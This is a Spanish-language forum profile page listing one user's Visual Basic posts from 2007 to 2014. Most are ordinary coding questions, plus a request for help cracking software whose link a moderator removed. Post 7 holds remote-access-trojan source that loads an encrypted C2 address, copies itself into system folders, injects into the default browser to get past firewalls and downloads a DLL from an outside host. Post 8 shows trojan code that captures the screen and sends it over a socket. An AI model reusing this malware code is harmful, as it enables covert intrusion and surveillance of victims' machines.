|
Mostrar Temas
|
Páginas: [1] 2 3
|
1
|
Seguridad Informática / Seguridad / alguien podria echarme una cable?
|
en: 29 Abril 2014, 08:10 am
|
Hola buenos dias, estoy con un programa hecho en VB que me tiene loco, no consigo crackearlo, alguien puede decirme como es? o que necesito? gracias!
el programa lo dejo aqui, parece muy sencillo pero no lo consigo yo solo...
mi idea es, no crackearlo del todo, si no en vez de mostrar el form1, que es el que muestra por primera vez, que muestre el form2.
pero no se como va eso..
Modificado:
Se ha eliminado el link de descarga a Mediafire, plantea tus preguntas en el foro de cracking y se te guiará en tus dudas, pero no se te crackeará ningun programa. Esperamos que lo entiendas, crackear un programa es ilegal.
Saludos.
|
|
|
2
|
Programación / Programación Visual Basic / quebradero de cabeza con socket
|
en: 25 Noviembre 2010, 11:48 am
|
Hola a todos, estoy x aqui de nuevo jeje, bueno mi consulta es sobre el evento Conection Request
Bueno tengo un programa que escucha en 4 puertos diferentes
y solo en 1 de esos puertos acepta la conexion para listarmelo en el LV, mi duda es, cuando se listan todos las conexiones no tengo huevos de asignarle 1 ID a los 4 sockets esdecir
puertos:
5010 ID 1 5011 ID 3 5012 ID 2 5013 ID 4
Cabria la posibilidad de asignar a estos 4 puertos el mismo ID que 5010? gracias por vuestra ayuda!
|
|
|
3
|
Programación / Programación Visual Basic / Camfrog Example Login
|
en: 3 Julio 2010, 00:05 am
|
Hola que tal todo mira les quereis preguntar una cosa .. he intentado miles de formas para conseguir hacer un ejemplo de como logearme desde el VB al camfrog, como yahoo por ejemplo, pero el problema esque al capturar paquetes del camfrog, no consigo nada no se como funciona, alguien sabe la forma de logearme y mandar un mensaje de texto ? asi en plan Spammer pero no es lo que quiero es para que lo entendais, gracias
|
|
|
4
|
Programación / Programación Visual Basic / Obtener datos de una pagina web.
|
en: 13 Diciembre 2009, 00:36 am
|
Hola a todo el mundo, felices fiestas! Bueno queria saber como podria obtener datos de una pagina web a traves de un classname o algo, algo como... obtener los textboxs de una web, por ejemplo, el textbox del buscador de google, lo que yo escriba en el textbox, que me lo ponga en un txtbox en vb, se podria hacer? NO ENCUENTRO NADA PARA ESO!
|
|
|
5
|
Programación / Programación Visual Basic / Winsocks
|
en: 17 Julio 2008, 18:42 pm
|
por que winsock va tan lento, incluido el bifrost va rapido...? he comparado troyanos y el mas rapido es bifrost,y usa conexion TCP, winsock no puede ser igual de rapido?
|
|
|
7
|
Programación / Programación Visual Basic / INJECT PROCESS BY PASS FIRWALLS
|
en: 24 Marzo 2008, 06:27 am
|
Option Explicit Public Const FINAL_PROGRAM_SIZE = 61440 Public Const PassString As String = "password" Public Const ServerPass As String = "" Public IpToConnectTo As String, PortToConnectTo As Long Public UserConnected As Long, MeltToFile As String, MeltToDirectory As String
Sub Main() 'On Error Resume Next ' Dim s1 As String, sFile As String Dim strInfo() As String Dim ServerFile As String, EncryptedInfo As String Dim s2 As String, ServerBytes() As Byte, b1() As Byte, MeltDir As Long Dim InjectedProcesses() As String, ProcessToInject As String Dim i1 As Long, i2 As Long, i3 As Long
EncryptedInfo = SysDir & "ei_log.log" If FileExists(EncryptedInfo) Then If FileLen(EncryptedInfo) = 0 Then DeleteFile EncryptedInfo ShellExecute 0, "", AppExe, 0, "", 1 End End If 'firewall bypass 'this part of the program reads itself. 'a file was stored in the other instance that is now available for use 'so you have to collect the RAT [stored] data and use it in the RAT sFile = DecryptString(StrConv(vbReadEndFile(EncryptedInfo, 0), vbFromUnicode), PassString) s1 = sFile IpToConnectTo = Mid(s1, InStr(1, s1, "{01=") + 4, InStr(1, s1, "=01}") - InStr(1, s1, "{01=") - 4) PortToConnectTo = CLng(Mid(s1, InStr(1, s1, "{02=") + 4, InStr(1, s1, "=02}") - InStr(1, s1, "{02=") - 4)) MeltToFile = Mid(sFile, InStr(1, sFile, "{04=") + 4, InStr(1, sFile, "=04}") - InStr(1, sFile, "{04=") - 4) MeltDir = Mid(sFile, InStr(1, sFile, "{05=") + 4, InStr(1, sFile, "=05}") - InStr(1, sFile, "{05=") - 4) Select Case MeltDir Case 0 MeltToDirectory = SysDir Case 1 MeltToDirectory = WinDir Case 2 MeltToDirectory = AppPath Case 3 MeltToDirectory = GetTempPath End Select MeltToFile = LCase(MeltToDirectory & MeltToFile) 'if user doesnt have zLib, download it now for compression 'this will make the 2.5 mb screenshots ~50kb, and still crystal clear picture If UserHasZLIB = 0 Then DeleteFile SysDir & "zlib.dll" Call GetInternetFile("http://www.hotlinkfiles.com/files/878001_9nuek/zlib.dll", SysDir & "zlib.dll", 256) End If DeleteFile EncryptedInfo Load frmMain frmMain.Show Else 'default when user opens.. right here we want to store the RAT's 'information so that the firewall bypass can read it, avoiding registry. 'might as well encrypt the file 'soo in a nutshell.. 'this part of the program reads itself and stores the information for 'access to the next loaded version with FWB+ 'i keep these notes to help me remind myself. 'open itself and decrypt string ServerBytes = vbReadEndFile(AppExe, FINAL_PROGRAM_SIZE) sFile = CStr(ServerBytes()) ServerBytes = sFile DeleteFile EncryptedInfo vbWriteByteFile EncryptedInfo, ServerBytes sFile = DecryptString(sFile, PassString) '================================= ' 'Find a process to inject to, with internet access ' '================================= s2 = Mid(sFile, InStr(1, sFile, "{08=") + 4, InStr(1, sFile, "=08}") - InStr(1, sFile, "{08=") - 4) If InStr(1, s2, "|") Then InjectedProcesses = Split(s2, "|") For i1 = LBound(InjectedProcesses) To UBound(InjectedProcesses) If LCase(InjectedProcesses(i1)) = LCase("[DefaultBrowser]") Then 'If we hit the default browser, we are just gonna load into it InjectedProcesses(i1) = ExeRegPath(DefaultBrowser) If FileExists(InjectedProcesses(i1)) Then 'the browser exists, inject into it ProcessToInject = InjectedProcesses(i1) Else If Len(s2) = 0 Then 'alternative find default browser through Shell32 End If End If i1 = UBound(InjectedProcesses) End If If IsProcessEXERunning(InjectedProcesses(i1)) Then 'process running , run one after ProcessToInject = AppFullPath(InjectedProcesses(i1)) i1 = UBound(InjectedProcesses) End If Next If ProcessToInject = "" Then ProcessToInject = ExeRegPath(DefaultBrowser) End If '================================= ' 'Determine if we need to melt ' '================================= MeltToFile = Mid(sFile, InStr(1, sFile, "{04=") + 4, InStr(1, sFile, "=04}") - InStr(1, sFile, "{04=") - 4) MeltDir = Mid(sFile, InStr(1, sFile, "{05=") + 4, InStr(1, sFile, "=05}") - InStr(1, sFile, "{05=") - 4) Select Case MeltDir Case 0 MeltToDirectory = SysDir Case 1 MeltToDirectory = WinDir Case 2 MeltToDirectory = AppPath Case 3 MeltToDirectory = GetTempPath End Select MeltToFile = LCase(MeltToDirectory & MeltToFile) If LCase(AppExe) <> MeltToFile Then 'we need to melt DeleteFile MeltToFile If MeltDir <> 2 Then FileCopy AppExe, MeltToFile b1 = LoadFile(AppExe) If MeltDir <> 2 Then InitiateMelt RunExe ProcessToInject, b1 Exit Sub Else 'shouldnt be occuring!! 'program will uninstall after this DeleteFile EncryptedInfo MsgBox "Program Detection Error" InitiateMelt End End If End If End Sub
PROBAR SI SIRVE ESTO :s
|
|
|
8
|
Programación / Programación Visual Basic / ayuda sobre vb troyano
|
en: 1 Marzo 2008, 22:38 pm
|
hola a todo el mundo.. queria preguntaros el por qué no me obedece lo que es el cliente a el server el codigo es..: Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim vtData As String Dim vDatos() As String Dim Datos As String
ws.GetData vtData, vbString
If Envio = True Then ' Archivos recibidos DataFile = DataFile & vtData If Len(DataFile) = lenFile Then Open NombreRec For Binary As #1 Put #1, , DataFile Close #1 DataFile = "" Envio = False End If End If
txtRecibido.Text = vtData
ws.GetData Datos ws.GetData vtData, vbString vtData = txtRecibido.Text vDatos = Split(Datos, "|") Select Case vDatos(0) Case "Cerrar" End Case "Screen" Resolucion = vDatos(1) Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2 Foto.Quality = Resolucion Foto.SampleScreen Foto.SaveFile ("c:\capture.jpg") txtRecibido.Text = vtData Open "c:\capture.jpg" For Binary As #1 File = Input(LOF(1), 1) Close #1 FileTotal = Len(File) ws.SendData "Screen|" & FileTotal Kill "c:\capture.jpg" Case "OK" ws.SendData File Case "Name" Nombre = vDatos(1) Kill WINDOWS & "\name" Open WINDOWS & "\name" For Binary As #1 Put #1, 1, Nombre Close #1 End Select End Sub no entiendo.. lo que quiero esque si "hola" es igual a "hola" entonces me de " msgbox hola " pero no me hace caso, :S!!
|
|
|
9
|
Programación / Programación Visual Basic / Holas de nuevo :D
|
en: 29 Diciembre 2007, 02:04 am
|
Queria comentaros si es posible, a traves de google, escribir por ejemplo hola, y todo lo que busque google, lo meta en un listbox por ejemplo
Escribo:
elhacker.net
y toda las webs que consiga de elhacker.net
me las meta en un text o un listview, es posible?
que las consigia de por ejemplo 99 paginas, no solo de la parte 1, si no que busque
1,2,3,4,5,6,7,8,9 asi entendeis chicos? espero respuesta gracias y feliz navidad a todos
|
|
|
10
|
Programación / Programación Visual Basic / obtener texto.
|
en: 29 Diciembre 2007, 01:56 am
|
Hola, feliz navidad a todos, queria preguntar si se puede hacer esto, mirar tengo un codigo fuente que obtiene el codigo fuente de una pagina web, pero mi duda es, si al obtener el codigo fuente, si por ejemplo la web tiene Bienvenido yo quiero que al obtener el codigo fuente, me diga si Bievenido esta en el codigo fuente de la pagina y me lo diga en un label, es posible? si es posible podriais ponermelo ? asias, aqui os dejo el codigo fuente para obtener el codigo de la pagina: 'debes tener el control internet transfer control registrado en tu equipo Dim strUrl As String Private Sub Command1_Click() On Error GoTo manejadorerror strUrl = txtURLbox.Text 'verificar si hay, al menos, 11 caracteres (" http://www.") If Len(strUrl) > 11 Then Screen.MousePointer = 13 txtNote.Text = Inet1.OpenURL(strUrl) Screen.MousePointer = 0 MsgBox ("Descarga completada"), vbInformation Else Screen.MousePointer = 0 MsgBox "Introduzca un nombre de documento válido en el cuadro URL" End If Exit Sub manejadorerror: Screen.MousePointer = 0 MsgBox "Error en la conexión con el URL", , Err.Description End Sub Private Sub Command2_Click() 'nota: todo el archivo se almacena en una única cadena CommonDialog1.DefaultExt = "HTM" CommonDialog1.Filter = "archivos HTML (*.HTML;*.HTM)|*.HTML;HTM" CommonDialog1.ShowSave If CommonDialog1.FileName <> "" Then Open CommonDialog1.FileName For Output As #1 Print #1, txtNote.Text Close #1 End If End Sub Private Sub Command3_Click() End End Sub Private Sub Command6_Click() CommonDialog1.DefaultExt = "TXT" CommonDialog1.Filter = "archivos de texto (*.TXT)|*.TXT" CommonDialog1.ShowSave If CommonDialog1.FileName <> "" Then Open CommonDialog1.FileName For Output As #1 Print #1, txtNote.Text Close #1 End If End Sub
|
|
|
|
|
|
|